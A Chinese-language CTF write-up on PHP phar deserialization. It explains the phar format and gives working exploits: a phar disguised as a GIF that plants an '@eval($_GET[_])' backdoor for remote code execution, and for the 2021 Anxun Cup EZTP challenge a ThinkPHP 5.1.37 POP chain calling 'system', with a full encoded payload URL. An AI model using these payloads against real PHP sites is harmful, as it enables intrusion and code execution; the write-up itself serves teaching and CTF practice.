一、phar介紹
簡單來說phar就是php壓縮文檔。它可以把多個文件歸檔到同一個文件中,而且不經過解壓就能被 php 訪問並執行,與file:// php://等類似,也是一種流包裝器。
phar結構由 4 部分組成
- stub phar 文件標識,格式為 xxx<?php xxx; __HALT_COMPILER();?>;
- manifest 壓縮文件的屬性等信息,以序列化存儲;
- contents 壓縮文件的內容;
- signature 簽名,放在文件末尾;
這里有兩個關鍵點,一是文件標識,必須以__HALT_COMPILER();?>結尾,但前面的內容沒有限制,也就是說我們可以輕易偽造一個圖片文件或者pdf文件來繞過一些上傳限制;二是反序列化,phar存儲的meta-data信息以序列化方式存儲,當文件操作函數通過phar://偽協議解析phar文件時就會將數據反序列化,而這樣的文件操作函數有很多。
二、例題
1.
假定一個php頁面
<?php if(isset($_GET['filename'])){ $filename=$_GET['filename']; class MyClass{ var $output='echo "hello world!";'; function __destruct(){ eval($this->output); } } file_exists($filename); } else{ highlight_file(__FILE__); } ?>
上網沖浪可知phar反序列化會影響下列函數
這里file_exists()函數會將參數反序列化。可以先在目錄制作一個phar文件,里面manifest填一個序列化的MyClass,其中$output用其他代碼覆蓋。然后讓filename用phar偽協議指向這個文件。
exp:
<?php // phar.readonly無法通過該語句進行設置: init_set("phar.readonly",0); class MyClass{ var $output = '@eval($_GET[_]);'; } $o = new MyClass(); $filename = 'poc.phar';// 后綴必須為phar,否則程序無法運行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
然后可以把poc.phar文件名改成任意名字(如這里改成poc.gif偽裝圖片文件)放到網站的路徑下。然后get
?filename=phar://poc.gif&_=[any code];
造成RCE.
2.
[2021安洵杯 EZTP]
首先www.zip得到源碼(這里復現也是用的這個文件)。發現這是個thinkphp框架。網頁上隨便亂輸一個不存在的頁面得到其版本。
網上搜直接搜thinkphp v5.1.37,會發現只能搜到它的反序列化漏洞哈哈哈哈哈哈哈哈哈。可以直接抄一個鏈子,然后想辦法觸發它。
在源碼文件WWW\127.0.0.17\application\index\controller下找到index頁面源碼
<?php namespace app\index\controller; use think\Controller; class Index extends controller { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12載初心不改(2006-2018) - 你值得信賴的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; } public function hello() { highlight_file(__FILE__); $hello = base64_encode('Welcome to D0g3'); if (isset($_GET['hello'])||isset($_POST['hello'])) exit; if(isset($_REQUEST['world'])) { parse_str($_REQUEST['world'],$haha); extract($haha); } if (!isset($a)) { $a = 'hello.txt'; } $s = base64_decode($hello); file_put_contents('hello.txt', $s); if(isset($a)) { echo (file_get_contents($a)); } } }
進hello函數只需訪問(至於為什么和路由有關,這個以后填坑)
http://127.0.0.17/public/index.php/index/Index/hello
代碼審計。從file_get_contents()往上逆推思路:
1.要覆蓋變量$a為phar://hello.txt,從而通過file_get_contents()觸發反序列化
2.要令$s為phar文件內容,里面寫好網上抄來的pop鏈對象
3.$s=$hello,但是hello在url解析時不能被識別出來。觀察parse_str()和extract(),可以get:?world=hello=xxx%26a=phar://hello.txt(%26是&)這樣,這兩個函數就會把$hello和$a摳出來,一舉兩得。
現在只需要弄出phar文件,把它賦予hello就行了。
在網上找一個鏈子,修改一下:
<?php namespace think { class Request { protected $hook = []; protected $config = []; protected $filter; protected $param = []; public function __construct() { $this->filter = 'system'; $this->param = ['calc'];//因為復現用的是windows靶機,就啟動計算器測試一下。做題時換成$this->param = ['cat /*']; $this->hook = ['visible' => [$this, 'isAjax']]; $this->config = ['var_ajax' => '']; } } abstract class Model { protected $append = []; private $data = []; function __construct() { $this->append = ['Th0r' => ['a']]; $this->data = ['Th0r' => new Request()]; } } } namespace think\model { use think\Model; use think\Request; class Pivot extends Model { } } namespace think\process\pipes { use think\model\Pivot; class Pipes { } class Windows extends Pipes { private $files = []; function __construct() { $this->files = [new Pivot()]; } } } namespace { /*寫phar*/ use think\process\pipes\Windows; $phar = new Phar("phar1.phar"); //后綴名必須為phar,壓縮后的文件名 $phar->startBuffering(); $phar->setStub(" __HALT_COMPILER(); ?>"); //設置stub $o = new Windows(); // $o->data = 'hu3sky'; $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("foo.txt", "bar"); //test為內容test.txt為要壓縮的文件(可以不存在) //簽名自動計算 $phar->stopBuffering(); // echo base64_encode(serialize(new Windows)); /*讀phar並 1.base64encode 2.urlencode*/ echo urlencode(base64_encode(file_get_contents('./phar1.phar'))); //IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAADN0KhhAwAAAKqM%2F3a2AQAAAAAAAGJhcj2Y8W%2FiBnOmVms8oXJRj5sNJYHVAgAAAEdCTUI%3D }
最終payload:
http://127.0.0.17/public/index.php/index/Index/hello?world=hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K0QEAAAEAAAARAAAAAQAAAAAAnAEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo0OiJjYWxjIjt9fX19fX0HAAAAZm9vLnR4dAMAAABStahhAwAAAKqM%2F3a2AQAAAAAAAGJhcui1dgJQNuTaCXKRUQLsVJql7DWEAgAAAEdCTUI=%26a=phar://hello.txt
具體比賽時:
不會真有CTFER有女朋友吧
參考鏈接:PHP反序列化入門之phar